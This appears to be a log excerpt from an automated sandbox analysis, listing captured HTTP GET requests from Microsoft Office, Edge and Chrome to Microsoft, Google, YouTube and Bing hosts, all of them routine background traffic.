Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /account HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_GB.TFQJ3BZDjlM.es5.O/am=iB3MZPgGEBD_8DSgN6BIIGQAAAAAAAAAANAGAACAhwE/d=1/excm=_b,_tp,identifierview/ed=1/dg=0/wt=2/ujg=1/rs=AOaEmlECX2yu9w4ejXqs97RJYrHq6onanQ/m=_b,_tp HTTP/1.1Host: www.gstatic.comConnection: keep-alivesec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="117", "Google Chrome";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132", "Google Chrome";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /s/googlesans/v58/4UaRrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iq2vgCI.woff2 HTTP/1.1Host: fonts.gstatic.comConnection: keep-alivesec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="117", "Google Chrome";v="117"Origin: https://accounts.google.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132", "Google Chrome";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /bloomfilterfiles/ExpandedDomainsFilterGlobal.json HTTP/1.1Host: www.bing.comConnection: keep-aliveCookie: ANON=; MUID=;_RwBf=;Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
